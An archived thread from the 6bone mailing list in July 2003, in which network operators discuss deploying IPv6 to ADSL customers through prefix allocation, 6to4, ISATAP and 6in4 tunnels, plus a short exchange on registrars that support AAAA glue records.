From jordi.palet@consulintel.es Wed Jul 23 06:42:17 2003
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Reply-To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@ISI.EDU>
References: <000c01c350c0$d7c63560$0200a8c0@dryad> <1058942538.7392.17.camel@kummerog.uni-muenster.de> <009c01c350f9$bc5ebcf0$5801040a@lt38> <1058951486.7391.56.camel@kummerog.uni-muenster.de> <003401c3511e$88848200$0200a8c0@dryad>
Subject: Re: [6bone] v6 and ADSL
Date: Wed, 23 Jul 2003 15:43:21 +0200
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/80 ????

The minimum allocation is /64, I believe.

Regards,
Jordi

----- Original Message ----- 
From: "Dan Reeder" <dan@reeder.name>
To: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>; "Nir Arad" <nir.arad@il.marvell.com>
Cc: <6bone@ISI.EDU>
Sent: Wednesday, July 23, 2003 3:30 PM
Subject: Re: [6bone] v6 and ADSL


> Firstly, thanks to everyone for your speedy comments.
>
> I guess I should clarify what I'm wanting to do. I'm planning on obtaining a
> /48 from a Tier1 isp here in Australia, then divde that both into point to
> point links for our client's dsl tails, and /64 or /80 allocations for the
> clients own internal use.
> I know the cisco 827 would be fairly ideal to use as far as native
> connectivity goes, but it is fairly expensive when compared with other
> broadband routers on the market that small to medium sized businesses would
> use. Also, I'm not too sure what IOS it would need, and if thats
> commercially available. Anyone know of more affordable equivilants?
>
> The alternative is to run some sort of 6-in-4 tunnelling... again, having a
> supportable CPE solution would be best... I've even tossed up the idea of
> setting cheap/small intel box running linux of some sort... :-\ but the more
> professional the better.
>
> any thoughts?
> Dan
>
> ----- Original Message ----- 
> From: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>
> To: "Nir Arad" <nir.arad@il.marvell.com>
> Cc: <6bone@ISI.EDU>
> Sent: Wednesday, July 23, 2003 7:11 PM
> Subject: Re: [6bone] v6 and ADSL
>
>
> > Hi Nir,
> >
> > Am Mit, 2003-07-23 um 11.06 schrieb Nir Arad:
> > > If I understand ISATAP correctly, you need a globally unique /64 prefix.
> > > I assume Dan does not have one, and would want to rely on his (globally
> unique, dynamically assigned) IPv4 address.
> > > This IPv4 address can be used to form a 6to4 address, and connect to a
> 6to4 relay.
> > You need this /64 prefix for the server (not for the client) which then
> > assigns IP-addresses to ISATAP clients within this prefix. So in a way,
> > if Dan has access to an ISATAP-server, this would solve his problem.
> > It's probably not as easy a solution as 6to4 but I wanted to point out
> > this option. But it's incorrect that Dan himself needs his own /64
> > prefix. A provider or other entity that runs the ISATAP-server needs a
> > prefix.
> >
> > > Now, assuming again, that Dan does not have a home network with private
> addresses behind his ADSL modem (but only one
> > > host), and since he needs 6to4 anyway, what would be the reasoning in
> using ISATAP in such configuration?
> > See above: the primary function of ISATAP is to connect one client, not
> > a whole net. Basically: ISATAP integrates single clients into a site
> > that has a certain prefix and advertises this prefix to connected
> > clients.
> >
> > Cheers,
> > Christian
> >
> > -- 
> > JOIN - IP Version 6 in the WiN  Christian Strauf
> > A DFN project                   Westfälische Wilhelms-Universität Münster
> > http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
> > Team: join@uni-muenster.de      Röntgenstrasse 9-13
> > Priv: strauf@uni-muenster.de    D-48149 Münster / Germany
> > GPG-/PGP-Key-ID: 1DFAAA9A       Fon: +49 251 83 31639, Fax: +49 251 83
> 31653
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

*****************************
Madrid 2003 Global IPv6 Summit
Presentations and videos on-line at:
http://www.ipv6-es.com



From todd@shadow.fries.net Wed Jul 23 06:47:51 2003
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Date: Wed, 23 Jul 2003 08:44:57 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Dan Reeder <dan@reeder.name>
Cc: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>,
   Nir Arad <nir.arad@il.marvell.com>, 6bone@ISI.EDU
Subject: Re: [6bone] v6 and ADSL
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Are you an isp like entity?  Sounds like it.  Do you have 200 customers (or
plan on having such in 2 years?)  possibly.

You should consider getting your own allocation of a /48.

Allocating /80's to clients is _not_ recommended.  It breaks the spirit of
IPv6 allocation.  Using point-to-point IP's is not strictly necessary with
most IPv6 implementations, so long as there is a global ip on either end.
But you can easily do the point-to-ponit IP's in one /64 and then allocate
/48's to each customer if you have your own /32.

Again, allocating /80's is not what I would recommend.

I'm prep'ing to upgrade a cisco to v6 capable ios, at which time I'll be able
to serve myself and others native v6 over adsl, no 6to4 involved.  In the
future, there will be a /32 allocated, and assigning /48's to customers will
be easy.  Getting them to use them is the hard part *grin* but I expect a few
will want to use them, including myself.  I'll help my provider be the only
isp in the city that will provide native IPv6, which I hope will benifit them
more than I or they realize *grin*.

Anybody in the OKC area ready for native IPv6 over adsl in the next 6 months?
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Dan Reeder on Wed, Jul 23, 2003 at 11:30:00PM +1000, we have:
| Firstly, thanks to everyone for your speedy comments.
| 
| I guess I should clarify what I'm wanting to do. I'm planning on obtaining a
| /48 from a Tier1 isp here in Australia, then divde that both into point to
| point links for our client's dsl tails, and /64 or /80 allocations for the
| clients own internal use.
| I know the cisco 827 would be fairly ideal to use as far as native
| connectivity goes, but it is fairly expensive when compared with other
| broadband routers on the market that small to medium sized businesses would
| use. Also, I'm not too sure what IOS it would need, and if thats
| commercially available. Anyone know of more affordable equivilants?
| 
| The alternative is to run some sort of 6-in-4 tunnelling... again, having a
| supportable CPE solution would be best... I've even tossed up the idea of
| setting cheap/small intel box running linux of some sort... :-\ but the more
| professional the better.
| 
| any thoughts?
| Dan
| 
| ----- Original Message ----- 
| From: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>
| To: "Nir Arad" <nir.arad@il.marvell.com>
| Cc: <6bone@ISI.EDU>
| Sent: Wednesday, July 23, 2003 7:11 PM
| Subject: Re: [6bone] v6 and ADSL
| 
| 
| > Hi Nir,
| >
| > Am Mit, 2003-07-23 um 11.06 schrieb Nir Arad:
| > > If I understand ISATAP correctly, you need a globally unique /64 prefix.
| > > I assume Dan does not have one, and would want to rely on his (globally
| unique, dynamically assigned) IPv4 address.
| > > This IPv4 address can be used to form a 6to4 address, and connect to a
| 6to4 relay.
| > You need this /64 prefix for the server (not for the client) which then
| > assigns IP-addresses to ISATAP clients within this prefix. So in a way,
| > if Dan has access to an ISATAP-server, this would solve his problem.
| > It's probably not as easy a solution as 6to4 but I wanted to point out
| > this option. But it's incorrect that Dan himself needs his own /64
| > prefix. A provider or other entity that runs the ISATAP-server needs a
| > prefix.
| >
| > > Now, assuming again, that Dan does not have a home network with private
| addresses behind his ADSL modem (but only one
| > > host), and since he needs 6to4 anyway, what would be the reasoning in
| using ISATAP in such configuration?
| > See above: the primary function of ISATAP is to connect one client, not
| > a whole net. Basically: ISATAP integrates single clients into a site
| > that has a certain prefix and advertises this prefix to connected
| > clients.
| >
| > Cheers,
| > Christian
| >
| > -- 
| > JOIN - IP Version 6 in the WiN  Christian Strauf
| > A DFN project                   Westfälische Wilhelms-Universität Münster
| > http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
| > Team: join@uni-muenster.de      Röntgenstrasse 9-13
| > Priv: strauf@uni-muenster.de    D-48149 Münster / Germany
| > GPG-/PGP-Key-ID: 1DFAAA9A       Fon: +49 251 83 31639, Fax: +49 251 83
| 31653
| >
| > _______________________________________________
| > 6bone mailing list
| > 6bone@mailman.isi.edu
| > http://mailman.isi.edu/mailman/listinfo/6bone
| >
| 
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From robson.oliveira@ipv6dobrasil.com.br Wed Jul 23 06:47:53 2003
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From: "Robson Oliveira" <robson.oliveira@ipv6dobrasil.com.br>
To: "Nir Arad" <nir.arad@il.marvell.com>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] v6 and ADSL
Date: Wed, 23 Jul 2003 10:44:03 -0300
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Hi Nir,

the TSP mechanism can help you to get an IPv6 address.

http://www.freenet6.net

cheers,
Robson

-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]On
Behalf Of Nir Arad
Sent: Wednesday, July 23, 2003 7:50 AM
To: Christian Strauf (JOIN)
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] v6 and ADSL


Thanks for the clarification!


-- Nir Arad

----- Original Message -----
From: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>
To: "Nir Arad" <nir.arad@il.marvell.com>
Cc: <6bone@ISI.EDU>
Sent: Wednesday, July 23, 2003 11:11 AM
Subject: Re: [6bone] v6 and ADSL


> Hi Nir,
>
> Am Mit, 2003-07-23 um 11.06 schrieb Nir Arad:
> > If I understand ISATAP correctly, you need a globally unique /64 prefix.
> > I assume Dan does not have one, and would want to rely on his (globally
unique, dynamically assigned) IPv4 address.
> > This IPv4 address can be used to form a 6to4 address, and connect to a
6to4 relay.
> You need this /64 prefix for the server (not for the client) which then
> assigns IP-addresses to ISATAP clients within this prefix. So in a way,
> if Dan has access to an ISATAP-server, this would solve his problem.
> It's probably not as easy a solution as 6to4 but I wanted to point out
> this option. But it's incorrect that Dan himself needs his own /64
> prefix. A provider or other entity that runs the ISATAP-server needs a
> prefix.
>
> > Now, assuming again, that Dan does not have a home network with private
addresses behind his ADSL modem (but only
one
> > host), and since he needs 6to4 anyway, what would be the reasoning in
using ISATAP in such configuration?
> See above: the primary function of ISATAP is to connect one client, not
> a whole net. Basically: ISATAP integrates single clients into a site
> that has a certain prefix and advertises this prefix to connected
> clients.
>
> Cheers,
> Christian
>
> --
> JOIN - IP Version 6 in the WiN  Christian Strauf
> A DFN project                   Westfälische Wilhelms-Universität Münster
> http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
> Team: join@uni-muenster.de      Röntgenstrasse 9-13
> Priv: strauf@uni-muenster.de    D-48149 Münster / Germany
> GPG-/PGP-Key-ID: 1DFAAA9A       Fon: +49 251 83 31639, Fax: +49 251 83
31653
>
>

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone


From ipng@uni-muenster.de Wed Jul 23 06:53:19 2003
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Subject: Re: [6bone] v6 and ADSL
From: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>
To: Dan Reeder <dan@reeder.name>
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Hi Dan,

Am Mit, 2003-07-23 um 15.30 schrieb Dan Reeder:
> I guess I should clarify what I'm wanting to do. I'm planning on obtaining a
> /48 from a Tier1 isp here in Australia, then divde that both into point to
> point links for our client's dsl tails, and /64 or /80 allocations for the
> clients own internal use.
Ok.

> The alternative is to run some sort of 6-in-4 tunnelling... again, having a
> supportable CPE solution would be best... I've even tossed up the idea of
> setting cheap/small intel box running linux of some sort... :-\ but the more
> professional the better.
What you should definitely go for is the 6in4-solution in my eyes,
assuming that your customers get fixed IPv4-addresses (or are you
striving for an IPv6-only solution?). This would be easiest.

Unfortunately I'm not aware of any cheap solutions for your problems
apart from a Linux box.

Christian

-- 
JOIN - IP Version 6 in the WiN  Christian Strauf
A DFN project                   Westfälische Wilhelms-Universität Münster
http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
Team: join@uni-muenster.de      Röntgenstrasse 9-13
Priv: strauf@uni-muenster.de    D-48149 Münster / Germany
GPG-/PGP-Key-ID: 1DFAAA9A       Fon: +49 251 83 31639, Fax: +49 251 83 31653


From todd@shadow.fries.net Wed Jul 23 07:15:39 2003
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Date: Wed, 23 Jul 2003 09:12:53 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Dan Reeder <dan@reeder.name>
Cc: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>,
   Nir Arad <nir.arad@il.marvell.com>, 6bone@ISI.EDU
Subject: Re: [6bone] v6 and ADSL
Message-ID: <20030723141252.GB1612@fries.net>
Reply-To: todd@fries.net
References: <000c01c350c0$d7c63560$0200a8c0@dryad> <1058942538.7392.17.camel@kummerog.uni-muenster.de> <009c01c350f9$bc5ebcf0$5801040a@lt38> <1058951486.7391.56.camel@kummerog.uni-muenster.de> <003401c3511e$88848200$0200a8c0@dryad> <20030723134457.GA1612@fries.net>
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Erm, I meant /32 here:

Penned by Todd T. Fries on Wed, Jul 23, 2003 at 08:44:57AM -0500, we have:
[..]
| You should consider getting your own allocation of a /48.
[..]

-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)


From jochen@scram.de Wed Jul 23 07:42:29 2003
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Date: Wed, 23 Jul 2003 16:42:04 +0200 (CEST)
From: Jochen Friedrich <jochen@scram.de>
To: Dan Reeder <dan@reeder.name>
cc: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>,
   Nir Arad <nir.arad@il.marvell.com>, <6bone@ISI.EDU>
Subject: Re: [6bone] v6 and ADSL
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Hi Dan,

> I guess I should clarify what I'm wanting to do. I'm planning on obtaining a
> /48 from a Tier1 isp here in Australia, then divde that both into point to
> point links for our client's dsl tails, and /64 or /80 allocations for the
> clients own internal use.

That's what we currently do here at scram (with the exception that we
assign one or more /64 to our members, which are the "clients" in our
case) ;-). This is currently running on a Linux box with sitX interfaces.
The clients with dynamic IPv4 addresses have a script similar to a DynDNS
script which updates the tunnel endpoint with the new IPv4 address.

One thing to take care about is to set the correct MTU for the tunnel
interface. Most DSL providers just drop big packets without replying with
an ICMP error message, so if you use the standard MTU, the tunnel will
turn into a black hole for your DSL customers.

--jochen


From matthew.ford@bt.com Wed Jul 23 08:12:15 2003
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Cc: ipng@uni-muenster.de, nir.arad@il.marvell.com, 6bone@ISI.EDU,
   dan@reeder.name
Subject: RE: [6bone] v6 and ADSL
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> -----Original Message-----
> From: Todd T. Fries [mailto:todd@fries.net]
> Sent: 23 July 2003 14:45

> Are you an isp like entity?  Sounds like it.  Do you have 200 
> customers (or
> plan on having such in 2 years?)  possibly.
> 
> You should consider getting your own allocation of a /48.

You mean /32.

Mat.

From tjc@ecs.soton.ac.uk Wed Jul 23 08:37:33 2003
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Date: Wed, 23 Jul 2003 16:37:10 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: "Todd T. Fries" <todd@fries.net>
Cc: Dan Reeder <dan@reeder.name>,
   "Christian Strauf (JOIN)" <ipng@uni-muenster.de>,
   Nir Arad <nir.arad@il.marvell.com>, 6bone@ISI.EDU
Subject: Re: [6bone] v6 and ADSL
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On Wed, Jul 23, 2003 at 08:44:57AM -0500, Todd T. Fries wrote:
> Are you an isp like entity?  Sounds like it.  Do you have 200 customers (or
> plan on having such in 2 years?)  possibly.
> 
> You should consider getting your own allocation of a /48.

I guess you mean a /32 :)
 
> Allocating /80's to clients is _not_ recommended.  It breaks the spirit of
> IPv6 allocation.  Using point-to-point IP's is not strictly necessary with

And breaks stateless autoconfiguration completely.

> most IPv6 implementations, so long as there is a global ip on either end.
> But you can easily do the point-to-ponit IP's in one /64 and then allocate
> /48's to each customer if you have your own /32.
> 
> Again, allocating /80's is not what I would recommend.
> 
> I'm prep'ing to upgrade a cisco to v6 capable ios, at which time I'll be able
> to serve myself and others native v6 over adsl, no 6to4 involved.  In the
> future, there will be a /32 allocated, and assigning /48's to customers will
> be easy.  Getting them to use them is the hard part *grin* but I expect a few
> will want to use them, including myself.  I'll help my provider be the only
> isp in the city that will provide native IPv6, which I hope will benifit them
> more than I or they realize *grin*.
> 
> Anybody in the OKC area ready for native IPv6 over adsl in the next 6 months?

I guess OKC isn't in England? ;-)

> -- 
> Todd Fries .. todd@fries.net
> 
> 
> Free Daemon Consulting, LLC                    Land: 405-748-4596
> http://FreeDaemonConsulting.com              Mobile: 405-203-6124
> "..in support of free software solutions."
> 
> Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
>             Key: http://todd.fries.net/pgp.txt
> 
> (last updated 2003/03/13 07:14:10)
> 
> Penned by Dan Reeder on Wed, Jul 23, 2003 at 11:30:00PM +1000, we have:
> | Firstly, thanks to everyone for your speedy comments.
> | 
> | I guess I should clarify what I'm wanting to do. I'm planning on obtaining a
> | /48 from a Tier1 isp here in Australia, then divde that both into point to
> | point links for our client's dsl tails, and /64 or /80 allocations for the
> | clients own internal use.
> | I know the cisco 827 would be fairly ideal to use as far as native
> | connectivity goes, but it is fairly expensive when compared with other
> | broadband routers on the market that small to medium sized businesses would
> | use. Also, I'm not too sure what IOS it would need, and if thats
> | commercially available. Anyone know of more affordable equivilants?
> | 
> | The alternative is to run some sort of 6-in-4 tunnelling... again, having a
> | supportable CPE solution would be best... I've even tossed up the idea of
> | setting cheap/small intel box running linux of some sort... :-\ but the more
> | professional the better.
> | 
> | any thoughts?
> | Dan
> | 
> | ----- Original Message ----- 
> | From: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>
> | To: "Nir Arad" <nir.arad@il.marvell.com>
> | Cc: <6bone@ISI.EDU>
> | Sent: Wednesday, July 23, 2003 7:11 PM
> | Subject: Re: [6bone] v6 and ADSL
> | 
> | 
> | > Hi Nir,
> | >
> | > Am Mit, 2003-07-23 um 11.06 schrieb Nir Arad:
> | > > If I understand ISATAP correctly, you need a globally unique /64 prefix.
> | > > I assume Dan does not have one, and would want to rely on his (globally
> | unique, dynamically assigned) IPv4 address.
> | > > This IPv4 address can be used to form a 6to4 address, and connect to a
> | 6to4 relay.
> | > You need this /64 prefix for the server (not for the client) which then
> | > assigns IP-addresses to ISATAP clients within this prefix. So in a way,
> | > if Dan has access to an ISATAP-server, this would solve his problem.
> | > It's probably not as easy a solution as 6to4 but I wanted to point out
> | > this option. But it's incorrect that Dan himself needs his own /64
> | > prefix. A provider or other entity that runs the ISATAP-server needs a
> | > prefix.
> | >
> | > > Now, assuming again, that Dan does not have a home network with private
> | addresses behind his ADSL modem (but only one
> | > > host), and since he needs 6to4 anyway, what would be the reasoning in
> | using ISATAP in such configuration?
> | > See above: the primary function of ISATAP is to connect one client, not
> | > a whole net. Basically: ISATAP integrates single clients into a site
> | > that has a certain prefix and advertises this prefix to connected
> | > clients.
> | >
> | > Cheers,
> | > Christian
> | >
> | > -- 
> | > JOIN - IP Version 6 in the WiN  Christian Strauf
> | > A DFN project                   Westfälische Wilhelms-Universität Münster
> | > http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
> | > Team: join@uni-muenster.de      Röntgenstrasse 9-13
> | > Priv: strauf@uni-muenster.de    D-48149 Münster / Germany
> | > GPG-/PGP-Key-ID: 1DFAAA9A       Fon: +49 251 83 31639, Fax: +49 251 83
> | 31653
> | >
> | > _______________________________________________
> | > 6bone mailing list
> | > 6bone@mailman.isi.edu
> | > http://mailman.isi.edu/mailman/listinfo/6bone
> | >
> | 
> | 
> | _______________________________________________
> | 6bone mailing list
> | 6bone@mailman.isi.edu
> | http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From todd@shadow.fries.net Wed Jul 23 08:40:22 2003
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Date: Wed, 23 Jul 2003 10:37:30 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Dan Reeder <dan@reeder.name>,
   "Christian Strauf (JOIN)" <ipng@uni-muenster.de>,
   Nir Arad <nir.arad@il.marvell.com>, 6bone@ISI.EDU
Subject: Re: [6bone] v6 and ADSL
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Penned by Tim Chown on Wed, Jul 23, 2003 at 04:37:10PM +0100, we have:
| On Wed, Jul 23, 2003 at 08:44:57AM -0500, Todd T. Fries wrote:
[..]
| > Anybody in the OKC area ready for native IPv6 over adsl in the next 6 months?
| 
| I guess OKC isn't in England? ;-)
[..]

I get onto my wife for doing the above and there I go doing it... OKC is
Oklahoma City, Oklahoma, USA.

Sorry for any confusion.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)



From ftemplin@iprg.nokia.com Wed Jul 23 10:10:52 2003
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Subject: Re: [6bone] v6 and ADSL
References: <000c01c350c0$d7c63560$0200a8c0@dryad>	 <1058942538.7392.17.camel@kummerog.uni-muenster.de>	 <009c01c350f9$bc5ebcf0$5801040a@lt38> <1058951486.7391.56.camel@kummerog.uni-muenster.de>
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I've been trying to get the word out on this, but perhaps it needs to be
mentioned again. ISATAP can be used to connect a whole net; not just
a single client as claimed below. For example, a residential gateway
can configure an ISATAP client interface on it's link to the ISP and an
ISATAP routing interface (and/or a native IPv6 routing interface) on
it's link to the home network. The home network can have arbitrarily
many clients; not just a single client.

The only other requirement in this case is that the residential gateway
procure a prefix delegation for advertisement on the home network.
The delegation could come from the ISP (e.g., through DHCPv6
prefix delegation) or through some fictitious provider-independent
addressing scheme.

Fred Templin
ftemplin@iprg.nokia.com

Christian Strauf (JOIN) wrote:

>Hi Nir,
>
>Am Mit, 2003-07-23 um 11.06 schrieb Nir Arad:
>  
>
>>If I understand ISATAP correctly, you need a globally unique /64 prefix.
>>I assume Dan does not have one, and would want to rely on his (globally unique, dynamically assigned) IPv4 address.
>>This IPv4 address can be used to form a 6to4 address, and connect to a 6to4 relay.
>>    
>>
>You need this /64 prefix for the server (not for the client) which then
>assigns IP-addresses to ISATAP clients within this prefix. So in a way,
>if Dan has access to an ISATAP-server, this would solve his problem.
>It's probably not as easy a solution as 6to4 but I wanted to point out
>this option. But it's incorrect that Dan himself needs his own /64
>prefix. A provider or other entity that runs the ISATAP-server needs a
>prefix.
>
>  
>
>>Now, assuming again, that Dan does not have a home network with private addresses behind his ADSL modem (but only one
>>host), and since he needs 6to4 anyway, what would be the reasoning in using ISATAP in such configuration?
>>    
>>
>See above: the primary function of ISATAP is to connect one client, not
>a whole net. Basically: ISATAP integrates single clients into a site
>that has a certain prefix and advertises this prefix to connected
>clients.
>
>Cheers,
>Christian
>
>  
>



From ipng@uni-muenster.de Wed Jul 23 23:59:58 2003
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Subject: Re: [6bone] v6 and ADSL
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Of course, what you say is true. Once you have an IPv6 connection to one
client whithin your net either natively, by ISATAP, normal configured
IPv6-in-IPv4-tunnel or 6to4 you can do with that whatever you want and
even get (another) prefix routed through it for addressing the rest of
the machines in the network. The original ISATAP client would then have
to be configured as IPv6 default gateway for the rest of the hosts etc.
But afaik ISATAP was not especially designed for that purpose or
otherwise it would have included a (global) prefix being
delegated/assigned to the client as is the case with 6to4. Your idea
might also a bit hard to do or at least requires some additional
scripting, at least if the client on the dialed-in part of the net
obtains a different IPv4-address every time. You might have to set up
the static route for the prefix on each dial-up anew.

Cheers,

Tina Strauf

Am Mit, 2003-07-23 um 19.16 schrieb Fred Templin:
> I've been trying to get the word out on this, but perhaps it needs to be
> mentioned again. ISATAP can be used to connect a whole net; not just
> a single client as claimed below. For example, a residential gateway
> can configure an ISATAP client interface on it's link to the ISP and an
> ISATAP routing interface (and/or a native IPv6 routing interface) on
> it's link to the home network. The home network can have arbitrarily
> many clients; not just a single client.
> 
> The only other requirement in this case is that the residential gateway
> procure a prefix delegation for advertisement on the home network.
> The delegation could come from the ISP (e.g., through DHCPv6
> prefix delegation) or through some fictitious provider-independent
> addressing scheme.
-- 
----------------------------------------------------------------------------
JOIN - IP Version 6 in the WiN  Tina Strauf
A DFN project                   Westfaelische Wilhelms-Universitaet Muenster
http://www.join.uni-muenster.de Zentrum fuer Informationsverarbeitung
Team: join@uni-muenster.de      Roentgenstrasse 9-13
Priv: tstrauf@uni-muenster.de   D-48149 Muenster / Germany
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31653


From ipng@uni-muenster.de Thu Jul 24 00:59:23 2003
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Subject: Re: [6bone] v6 and ADSL
From: Christian Schild <ipng@uni-muenster.de>
To: Fred Templin <ftemplin@iprg.nokia.com>
Cc: 6bone@ISI.EDU
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Hi Fred,

Am Mit, 2003-07-23 um 19.16 schrieb Fred Templin:
> I've been trying to get the word out on this, but perhaps it needs to be
> mentioned again. ISATAP can be used to connect a whole net; not just
> a single client as claimed below. For example, a residential gateway
> can configure an ISATAP client interface on it's link to the ISP and an
> ISATAP routing interface (and/or a native IPv6 routing interface) on
> it's link to the home network. The home network can have arbitrarily
> many clients; not just a single client.

I am not sure, if I understood your scenario correctly, because the way
you described it here, it may not be possible to configure a residential
site.

If the residential gateway is configured as a ISATAP client, with a
connection to an ISATAP server in the ISPs environment, the residential 
gateway will only receive a single /128 IP. In the absence of a global
aggregatable /64 prefix it can not act as an ISATAP server for internal
connectivity.

> The only other requirement in this case is that the residential gateway
> procure a prefix delegation for advertisement on the home network.

Thats the point, so it's kind of conflictive to what you said above.

> The delegation could come from the ISP (e.g., through DHCPv6
> prefix delegation) 

Right. You need such a delegation. 

> or through some fictitious provider-independent addressing scheme.

This will not work resp. be pretty useless, as this fictitious 
prefix will not be routed outside your residential site, and 
the internal hosts couldn't reach anything external.

So long,
    Christian
-- 
JOIN - IP Version 6 in the WiN  Christian Schild
A DFN project                   Westfaelische Wilhelms-Universitaet Muenster
http://www.join.uni-muenster.de Zentrum fuer Informationsverarbeitung
Team: join@uni-muenster.de      Roentgenstrasse 9-13
Priv: schild@uni-muenster.de    D-48149 Muenster / Germany
GPG-/PGP-Key-ID: 6EBFA081       Fon: +49 251 83 31638, fax: +49 251 83 31653


From ipng@uni-muenster.de Thu Jul 24 01:44:55 2003
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Subject: Re: [6bone] v6 and ADSL
From: Christian Schild <ipng@uni-muenster.de>
To: Fred Templin <ftemplin@iprg.nokia.com>
Cc: 6bone@ISI.EDU
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Am Don, 2003-07-24 um 09.59 schrieb Christian Schild:
> Hi Fred,
> 
> Am Mit, 2003-07-23 um 19.16 schrieb Fred Templin:
> > I've been trying to get the word out on this, but perhaps it needs to be
> > mentioned again. ISATAP can be used to connect a whole net; not just
> > a single client as claimed below. For example, a residential gateway
> > can configure an ISATAP client interface on it's link to the ISP and an
> > ISATAP routing interface (and/or a native IPv6 routing interface) on
> > it's link to the home network. The home network can have arbitrarily
> > many clients; not just a single client.
> 
> I am not sure, if I understood your scenario correctly, because the way
> you described it here, it may not be possible to configure a residential
> site.

Well, I should check back with my collegues sitting next to me more often :-).
I understand now, you want to advertise and route an additional prefix over 
the already established ISATAP connection. 

But I share Tinas thoughts that doing so one has to do much more additional 
configuration and I think 6to4 is the more natural solution in this scenario. 

So long,
    Christian

-- 
JOIN - IP Version 6 in the WiN  Christian Schild
A DFN project                   Westfaelische Wilhelms-Universitaet Muenster
http://www.join.uni-muenster.de Zentrum fuer Informationsverarbeitung
Team: join@uni-muenster.de      Roentgenstrasse 9-13
Priv: schild@uni-muenster.de    D-48149 Muenster / Germany
GPG-/PGP-Key-ID: 6EBFA081       Fon: +49 251 83 31638, fax: +49 251 83 31653


From wildfire@progsoc.uts.edu.au Thu Jul 24 06:12:20 2003
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From: Anand Kumria <wildfire@progsoc.uts.edu.au>
Subject: [6bone] registrars supporting IPv6 AAAA
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All,

It appears that MelbourneIT also support AAAA glue records for .com and
.net. The process is manual, unfortunately. If you go via their website
you need to select '.com, .net, .org Domains/Delegation/Redelgation: 
How do I register a name server to host Generic Top Level domain names?'

As one of the support questions and enter it there. Or you may have luck
emailing help@melbourneit.com.au directly.

HTH,
Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From cloos@jhcloos.com Thu Jul 24 10:58:41 2003
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>>>>> "Anand" == Anand Kumria <wildfire@progsoc.uts.edu.au> writes:

Anand> All, It appears that MelbourneIT also support AAAA glue records
Anand> for .com and .net. The process is manual, unfortunately.

While we are discussing this...

I sucessfully had my registrar, gkg.net, add aaaa glue rrs for my
.com a and .net domains.  They are also doing it manually right
now, but promise the next revision of their web interface will
support it directly.

-JimC


From hank@att.net.il Mon Jul 28 07:01:03 2003
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http://news.com.com/2100-1033_3-5055803.html?tag=fd_lede1_hed

-hank


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Sorry for the late reply, due to being out of the office. See points for
clarification below:

Tina Strauf (JOIN Projekt Team) wrote:

>Of course, what you say is true. Once you have an IPv6 connection to one
>client whithin your net either natively, by ISATAP, normal configured
>IPv6-in-IPv4-tunnel or 6to4 you can do with that whatever you want and
>even get (another) prefix routed through it for addressing the rest of
>the machines in the network. The original ISATAP client would then have
>to be configured as IPv6 default gateway for the rest of the hosts etc.
>
What you say above is correct.

>But afaik ISATAP was not especially designed for that purpose or
>otherwise it would have included a (global) prefix being
>delegated/assigned to the client as is the case with 6to4.
>
6to4 uses a special prefix that embeds a global IPv4 address to be used
for tunneling; 6to4 can be used if and only if the provider assigns the
residential gateway a global IPv4 address.

You are correct that ISATAP does not use such a special prefix, but
ISATAP does not use any information in the prefix for tunneling
purposes. ISATAP can in fact use any type of prefix, including
native IPv6 and 6to4.

>Your idea
>might also a bit hard to do or at least requires some additional
>scripting, at least if the client on the dialed-in part of the net
>obtains a different IPv4-address every time. You might have to set up
>the static route for the prefix on each dial-up anew.
>
Not sure where you mean about the static route being needed. The prefix is
